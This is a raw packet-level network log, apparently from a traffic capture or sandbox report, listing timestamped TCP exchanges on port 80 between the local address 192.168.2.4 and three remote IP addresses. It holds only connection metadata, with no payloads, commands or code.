Sep 23, 2023 17:53:35.895122051 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.895131111 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.895134926 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.895159960 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.895164967 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.895180941 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.895198107 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.895205975 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.895239115 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.895253897 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.895294905 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.895494938 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.895534039 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.895637035 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.895678043 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.895693064 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.895735025 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.895752907 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.895791054 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.895813942 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.895850897 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.895896912 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.895936012 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.895996094 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.896011114 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.896090984 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.896096945 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.896127939 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.896189928 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.896548986 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.896591902 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.896663904 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.896693945 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.896703959 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.896733999 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.903677940 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.903727055 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.903985023 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.904026985 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.904051065 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.904102087 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.904148102 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.904165030 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.904194117 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.904206991 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.904216051 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.904232025 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.904257059 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.904277086 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.904424906 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.904443026 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.904464960 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.904478073 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.904510021 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.904551029 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.904577017 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.904594898 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.904619932 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.904642105 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.904670000 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.905174971 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.905191898 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.905210018 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.905214071 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.905226946 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.905234098 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.905242920 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.905252934 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.905258894 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.905273914 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.905277014 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.905283928 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.905289888 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.905306101 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.905309916 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.905334949 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.905342102 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.905345917 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.905373096 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.905396938 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.905611038 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.905627966 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.905648947 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.905649900 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.905668974 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.905678988 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.905781984 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.905819893 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.905827045 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.905864000 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.905921936 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.905966043 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.905987024 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.906023026 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.906171083 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.906210899 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.906258106 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.906295061 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.906313896 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.906351089 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.906357050 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.906394005 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.906440973 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.906480074 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.906517982 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.906558990 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.906635046 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.906672955 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.906672955 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.906708956 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.906733036 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.906769991 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.906795025 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.906831980 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.906856060 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.906897068 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.906934977 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.906974077 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.906979084 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.907016993 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.907218933 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.907258987 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.907298088 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.907336950 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.907366991 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.907402992 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.907419920 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.907454967 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.907479048 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.907516003 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.907553911 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.907589912 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.907666922 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.907705069 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.907721043 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.907757044 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.907829046 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.907866955 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.907905102 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.907943010 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.908010006 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.908049107 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.908072948 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.908111095 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.908149004 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.908186913 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.908416986 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.908456087 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.908463001 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.908503056 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.908505917 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.908545971 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.908562899 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.908579111 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.908601046 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.908617020 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.908649921 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.908688068 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.908725977 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.908771038 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.908790112 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.908806086 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.908827066 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.908845901 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.908876896 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.908941031 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.908942938 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.908989906 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.909136057 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.909182072 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.909213066 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.909213066 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.909265995 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.909307003 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.909331083 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.909368992 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.909392118 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.909426928 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.909436941 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.909487963 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.909535885 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.909553051 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.909575939 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.909585953 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.909594059 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.909634113 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.909657001 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.909693956 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.909693956 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.909730911 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.909816980 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.909832001 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.909852982 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.909873962 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.909939051 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.909976959 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.909979105 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.910012960 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.910031080 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.910082102 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.910105944 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.910145044 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.910164118 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.910207033 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.910209894 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.910244942 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.910281897 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.910322905 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.910496950 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.910536051 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.910573959 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.910608053 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.910617113 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.910674095 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.910681963 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.910713911 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.910721064 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.910751104 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.910814047 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.910850048 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.910870075 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.910906076 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.910916090 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.910952091 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.911012888 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.911050081 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.911071062 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.911107063 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.911122084 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.911159992 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.911197901 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.911236048 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.911410093 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.911448002 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.911556959 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.911593914 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.911612988 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.911648989 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.911755085 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.911793947 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.911839962 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.911875963 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.912019014 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.912058115 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.912128925 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.912167072 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.912204027 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.912247896 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.912286043 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.912322044 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.912327051 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.912364006 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.912372112 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.912405968 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.912420988 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.912456989 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.912465096 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.912508011 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.912523031 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.912570953 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.912610054 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.912645102 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.912822008 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.912838936 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.912921906 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.912966967 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.912966967 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.912966967 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.913155079 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.913171053 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.913187027 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.913191080 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.913204908 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.913209915 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.913228989 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.913249016 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.917082071 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.917128086 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.917139053 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.917177916 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.917354107 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.917392969 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.917462111 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.917500973 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.917538881 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.917577028 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.917601109 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.917637110 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.917660952 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.917695999 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.917714119 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.917731047 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.917762995 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.917800903 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.917828083 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.917840958 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.917864084 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.917891026 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.917927027 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.917990923 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.918028116 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.918051958 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.918065071 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.918087959 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.918102980 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.918126106 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.918164015 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.918397903 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.918437004 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.918442011 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.918458939 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.918479919 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.918498039 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.918524027 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.918560028 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.918576002 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.918613911 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.918637037 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.945147991 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.945981979 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:36.086086035 CEST	49840	80	192.168.2.4	5.42.92.211
Sep 23, 2023 17:53:36.172804117 CEST	49825	80	192.168.2.4	77.91.68.29
Sep 23, 2023 17:53:36.173160076 CEST	49841	80	192.168.2.4	77.91.68.29
Sep 23, 2023 17:53:36.413336992 CEST	80	49840	5.42.92.211	192.168.2.4
Sep 23, 2023 17:53:36.413463116 CEST	49840	80	192.168.2.4	5.42.92.211
Sep 23, 2023 17:53:36.418009996 CEST	49840	80	192.168.2.4	5.42.92.211
Sep 23, 2023 17:53:36.491957903 CEST	80	49825	77.91.68.29	192.168.2.4
Sep 23, 2023 17:53:36.492063046 CEST	49825	80	192.168.2.4	77.91.68.29
Sep 23, 2023 17:53:36.495614052 CEST	80	49841	77.91.68.29	192.168.2.4
Sep 23, 2023 17:53:36.495704889 CEST	49841	80	192.168.2.4	77.91.68.29
Sep 23, 2023 17:53:36.527231932 CEST	49841	80	192.168.2.4	77.91.68.29
Sep 23, 2023 17:53:36.527273893 CEST	49841	80	192.168.2.4	77.91.68.29
Sep 23, 2023 17:53:36.744889975 CEST	80	49840	5.42.92.211	192.168.2.4
